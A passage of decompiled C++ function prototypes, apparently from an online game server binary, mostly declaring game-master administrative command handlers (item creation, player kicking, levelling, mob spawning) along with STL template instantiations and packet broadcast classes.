AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *__formal); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr); void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, const char *_Ptr); void __thiscall std::logic_error::logic_error(std::logic_error *this, std::basic_string,std::allocator > *_Message); void __thiscall std::vector>::_Tidy(std::vector > *this); void __thiscall std::logic_error::logic_error(std::logic_error *this, std::logic_error *__that); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::length_error::length_error(std::length_error *this, std::length_error *__that); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L149486(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(AbnormalStateShelter::AbstateBuffer *this); AbnormalStateShelter::AbstateBuffer *__cdecl std::_Copy_backward_opt(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::fill(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Val); AbnormalStateShelter::AbstateBuffer *__cdecl std::_Uninit_copy>(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(AbnormalStateShelter::AbstateBuffer *_First, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); AbnormalStateShelter::AbstateBuffer *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Ptr, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val); void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateShelter::AbstateBuffer *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Val); void __thiscall NPCAction::Manager::Manager(AbnormalStateShelter::AbstateShelter *this); void __thiscall AbnormalStateShelter::AbstateShelter::_AbstateShelter(AbnormalStateShelter::AbstateShelter *this); AbnormalStateShelter::AbstateBuffer *__thiscall AbnormalStateShelter::AbstateShelter::operator__(AbnormalStateShelter::AbstateShelter *this, unsigned int regnum); void __thiscall UseEffect::UseItemJustReviveAtDead::uib_Effect(UseEffect::UseItemJustReviveAtDead *this, #331 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall Name3::Name3(Name3 *this, const char *str); void __thiscall Name3::operator_(Name3 *this, const char *nm); void __thiscall Name4::Name4(Name4 *this, const char *str); int __thiscall ORToken::operator_(int this, int a2); void __thiscall ORToken::ORToken(ORToken *this, const char *str); char *__thiscall NameString::operator__(NameString *this, Name3 *a); void __thiscall AxialListMobSuicide::_AxialListMobSuicide(AxialListMobSuicide *this); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromName(AbnormalStateDictionary::AbState *this, char *sklname); SpecialItemIdent *__thiscall ItemDataBox::idb_SpecialItems(ItemDataBox *this); unsigned __int16 __thiscall ItemDataBox::idb_2itemid(ItemDataBox *this, const char *itemindex); ItemDataBox::ItemDataBoxIndex *__thiscall ItemDataBox::operator__(ItemDataBox *this, unsigned __int16 Itemid); unsigned __int16 __thiscall MobDataBox::mdb_2MobID(MobDataBox *this, const char *mobindex); void __thiscall DebugLogging::DebugLogging(DebugLogging *this, char *filename); char *__thiscall DebugLogging::dl_MakeFileName(DebugLogging *this); _iobuf *__thiscall DebugLogging::dl_FilePoint(DebugLogging *this); DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, char *str); void __thiscall DebugLogging::operator<<(DebugLogging *this, DebugLineFeed *lf); int __thiscall FieldMap::fm_IsBlock(int this, int x, int y, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)); char __thiscall FieldMap::fm_DropFilm(int this, char *scriptname); int __thiscall VectorClass::VectorWithLength::vwl_GetLength(int this); void __thiscall FieldMap::fm_ScriptInterrupt(int this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg); int __thiscall FieldMap::fm_GetFieldBonus(void *this); char __thiscall CharacterPassiveList::cpl_IsLearn(CharacterPassiveList *this, unsigned __int16 skill); int __thiscall ShineObjectClass::ShineObject::so_GetLayer(int this); MapInfo *__thiscall MapDataBox::operator__(MapDataBox *this, unsigned __int16 mapid); unsigned __int16 __thiscall MapDataBox::mdb_2mapid(MapDataBox *this, const char *mapindex); void __thiscall AxialListDoorAction::_AxialListDoorAction(AxialListDoorAction *this); void __thiscall PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO(PROTO_KQ_MAP_INFO *this); void __thiscall AmpersandCommand::ac_LinktoSaveData(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_IDTimeChange(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); WorldManagerSession *__thiscall SocketBundle::sb_GetSocket(SocketBundle *this); void __thiscall List::_List(List *this); int __thiscall std::basic_string_std::allocator>::compare(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _N0, const char *_Ptr, unsigned int _Count); void __thiscall ListIter_AmpCmdArgument::_ListIter_AmpCmdArgument(ListIter_AmpCmdArgument *this); char __thiscall ListIter_AmpCmdArgument::lid_Call(ListIter_AmpCmdArgument *this, AmpersandCommandElement *ele, unsigned __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::sp_AmpersandCommand(void *this, __int16 handle, int chat); void __thiscall AmpersandCommand::_AmpersandCommand(AmpersandCommand *this); void __thiscall AmpersandCommand::ac_wall(AmpersandCommand *this, #440 *, char *); void __thiscall AmpersandCommand::ac_TempLinkUsage(AmpersandCommand *this, #440 *sp); void __thiscall AmpersandCommand::ac_MobBreedUsage(AmpersandCommand *this, #440 *sp); int __thiscall AmpersandCommand::ac_Scanf(AmpersandCommand *this, char *buf); void __thiscall AmpersandCommand::ac_Store(AmpersandCommand *this, char *cmd, int adlev, void (__thiscall *func)(AmpersandCommand *this, unsigned __int16, #440 *, int, char (*)[33])); void __thiscall AmpersandCommand::ac_Hide(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Show(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Dimension(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AdminLevel(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ServerIndex(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_LinkTo(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_DoorBuild(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ScriptInterrupt(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Timer(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildCollectClear(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildCollectSet(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_NoticeZone(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GMChat(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); char __thiscall AxialListDoorAction::ali_Work(AxialListDoorAction *this, #331 *, #331 *, unsigned int); void __thiscall AmpersandCommand::ac_OXBlock(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TempLink(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobBreed(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobBreed_simple(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MakeItem(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_fullpoint(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_summonplayer(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_questrecieve(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_questgiveup(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_questcomplete(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_learnskill(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_skillcooltime(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Setabstate(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_resetabstate(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_performance(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Sethp(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Setsp(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Dist(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BlockMatrix(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CurrentLoc(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KickOutPlayer(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FindMob(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FindPlayer(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_SummonPlayer(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobDistribute(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ChargedItem(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall PROTO_KQ_INFO::_PROTO_KQ_INFO(PROTO_KQ_INFO *this); void __thiscall KingdomQuest::KQElement::KQElementMap::KQElementMap(KingdomQuest::KQElement::KQElementMap *this); void __thiscall AmpersandCommand::ac_killallmob(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_mobdamage(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_SuicideAllMob(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ServerSocketCut(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EmptyMap(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ZoneLinkTest(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildTournament(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EndOfKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ReroadKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_deathaura(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_immortal(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_HorseSpeed(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EnterMiniHouse(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_staticdamage(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KeepFromChat(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BonusExp(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BonusItem(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FieldBonus(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CharInform(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PartyInform(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ParameterView(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_IsBlock(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Propose(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __cdecl sub_415345(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11); void __thiscall AmpersandCommand::ac_ProposeRes(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingReset(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingReserve(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingGuestEnterReady(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_WeddingGuestEnter(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Unlearnskill(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_UnlearnPassive(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_learnPassive(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Wedding(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ShowPlayerID(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EraseChargeBuff(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_MobHatchery(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AllCritical(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_StartGuildTournament(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_FlagCapture(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_UseGuildSkill(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ObserverLinkTo(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ObserverOut(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_EditSpeed(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GhostRemove(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_CurTime(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AmIBusy(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KnockBack(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PartBlock(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_InventoryView(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_PW(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_DebugLogging(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TaiSai_DiceFix(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_TaiSai_DiceProbability(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_AllLearnSKill(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_LevelUp(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_GuildTournamentItemEffect(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ReleaseChatBan(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); char __thiscall List::l_PushA(List *this, AmpersandCommandElement *ele); char __thiscall List::l_PushZ(List *this, AmpersandCommandElement *ele); char __thiscall List::l_PopA(List *this, AmpersandCommandElement *ele); char __thiscall List::l_PopZ(List *this, AmpersandCommandElement *ele); void __thiscall List::l_Clear(List *this); void __thiscall KingdomQuest::KQElement::KQElement(KingdomQuest::KQElement *this); void __thiscall KingdomQuest::KQElement::_KQElement(KingdomQuest::KQElement *this); void __thiscall AmpersandCommand::ac_PlayerDistribute(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_NPCRevive(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ShowAllChar(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); #592 *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(List *, unsigned __int16, #592 *), unsigned __int16 *hnd, #592 *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall AmpersandCommand::ac_KQReward(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_KingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_BigBang(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall std::allocator_std::allocator>>::destroy(std::allocator,std::allocator > > *this, std::basic_string,std::allocator > *_Ptr); void __cdecl std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void *__thiscall std::out_of_range::_vector_deleting_destructor_(std::length_error *this, unsigned int); void __thiscall std::length_error::_length_error(std::length_error *this); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xran(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); void __thiscall std::out_of_range::out_of_range(std::out_of_range *this, std::out_of_range *__that); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xlen(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); void __thiscall AmpersandCommand::ac_HPChange(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_SPChange(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_ReLoadData(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_Captivate(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall AmpersandCommand::ac_IgnoreSkillCoolTime(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Destroy(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last); void __thiscall AmpersandCommand::AmpersandCommand(AmpersandCommand *this); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); void __thiscall ListIter_AmpCmdArgument::ListIter_AmpCmdArgument(ListIter_AmpCmdArgument *this, unsigned __int16 handle, #440 *admin, char *buffer); unsigned int __thiscall AttackRhythm::AttackRhythmBase::arb_NextBash(AttackRhythm::AttackRhythmBase *this, AttackRhythm::CharArgument *ca, int attackspeed1000); void __thiscall AttackRhythm::AttackRhythm_Melee::AttackRhythm_Melee(AttackRhythm::AttackRhythm_Melee *this); void __thiscall AttackRhythm::AttackRhythm_Melee::arb_Next(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca); int __thiscall AttackRhythm::AttackRhythm_Melee::arb_ActionNumber(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca); unsigned int __thiscall AttackRhythm::AttackRhythm_Melee::arb_NextBash(AttackRhythm::AttackRhythm_Melee *this, AttackRhythm::CharArgument *ca, int attackspeed1000); void __thiscall AttackRhythm::AttackRhythm_Range::AttackRhythm_Range(AttackRhythm::AttackRhythm_Range *this); void __thiscall AttackRhythm::AttackRhythm_Range::arb_Next(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca); int __thiscall AttackRhythm::AttackRhythm_Range::arb_ActionNumber(AttackRhythm::AttackRhythm_Range *this, AttackRhythm::CharArgument *ca); void __thiscall AttackRhythm::AttackRhythm_Mob::AttackRhythm_Mob(AttackRhythm::AttackRhythm_Mob *this); void __thiscall AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee(AttackRhythm::AttackRhythm_Mob *this); char __thiscall SubLayer::SubLayerInteractLoader::slil_Interact(SubLayer::SubLayerInteractLoader *this, SubLayer::Layer *my, SubLayer::Layer *another); unsigned int __thiscall AllOfRangeArgument::operator unsigned_long(AllOfRangeArgument *this); void __thiscall AxialListIterator::AxialListIterator(AxialListIterator *this); char __thiscall AxialListMobCounter::ali_Work(AxialListMobCounter *this, #331 *, #331 *, unsigned int); char __thiscall AxialListMobCounter::ala_SearchMob(AxialListMobCounter *this, #331 *, #331 *); char __thiscall AxialListMobCounter::ala_SearchAll(AxialListMobCounter *this, #331 *, #331 *); char __thiscall AxialListMobCounter::ala_SearchPly(AxialListMobCounter *this, #331 *, #331 *); char __thiscall AxialListMobCounter::ala_SearchGld(AxialListMobCounter *this, #331 *, #331 *); char __thiscall AxialListMobFind::ali_Work(AxialListMobFind *this, #331 *, #331 *, unsigned int); void __thiscall AxialListBossFind::AxialListBossFind(AxialListBossFind *this); // void __thiscall AxialListWall::AxialListWall(AxialListWall *this, const char *message); char __thiscall AxialListWall::ali_Work(AxialListWall *this, #331 *, #331 *, unsigned int); void __thiscall AxialListShowID::AxialListShowID(AxialListShowID *this, NETCOMMAND *nc); // void __thiscall AxialListCount::AxialListCount(AxialListCount *this); char __thiscall AxialListCount::ali_Work(AxialListCount *this, #331 *, #331 *, unsigned int); char __thiscall AxialListMobInAreaCounter::ali_Work(AxialListMobInAreaCounter *this, #331 *, #331 *, unsigned int); char __thiscall AxialListMobInAreaCounter::ala_InArea(AxialListMobInAreaCounter *this, #331 *Mob); void __thiscall AxialListProtocolSend::AxialListProtocolSend(AxialListProtocolSend *this, int department, int command); char __thiscall AxialListProtocolSend::ali_Work(AxialListProtocolSend *this, #331 *, #331 *, unsigned int); void __thiscall AxialListMobKillLog::AxialListMobKillLog(AxialListMobKillLog *this, int department, int command, unsigned __int16 nMobID); void __thiscall AxialListWall::_AxialListWall(AxialListMobKillLog *this); void __thiscall AxialListPacketBroadcast::AxialListPacketBroadcast(AxialListPacketBroadcast *this, ProtocolPacket *pack, int packlen); void __thiscall AxialListPacketBroadcast::_AxialListPacketBroadcast(AxialListPacketBroadcast *this); char __thiscall AxialListPacketBroadcast::ali_Work(AxialListPacketBroadcast *this, #331 *, #331 *, unsigned int); void __thiscall AxialListPacketBroadcastByGuild::AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this, ProtocolPacket *pack, int packlen, unsigned int GRegNum); void __thiscall AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this); char __thiscall AxialListPacketBroadcastByGuild::ali_Work(AxialListPacketBroadcastByGuild *this, #331 *, #331 *, unsigned int); void __thiscall AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this, ProtocolPacket *pack, int packlen); void __thiscall AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this); char __thiscall AxialListPacketBroadcast4ItemPickUp::ali_Work(AxialListPacketBroadcast4ItemPickUp *this, #331 *, #331 *, unsigned int); char __thiscall AxialListBossFind::ali_Work(AxialListBossFind *this, #331 *, #331 *, unsigned int); char __thiscall AxialListShowID::ali_Work(AxialListShowID *this, #331 *, #331 *, unsigned int); char __thiscall AxialListMobInAreaCounter::ala_SearchMob(AxialListMobInAreaCounter *this, #331 *, #331 *); char __thiscall AxialListMobInAreaCounter::ala_SearchAll(AxialListMobInAreaCounter *this, #331 *, #331 *); char __thiscall AxialListMobInAreaCounter::ala_SearchPly(AxialListMobInAreaCounter *this, #331 *, #331 *); char __thiscall AxialListMobInAreaCounter::ala_SearchGld(AxialListMobInAreaCounter *this, #331 *, #331 *); char __thiscall AxialListMobKillLog::ali_Work(AxialListMobKillLog *this, #331 *, #331 *, unsigned int); ShineCommonParameter::ShineParameter *__thiscall ShineCommonParameter::operator_>(ShineCommonParameter *this); char 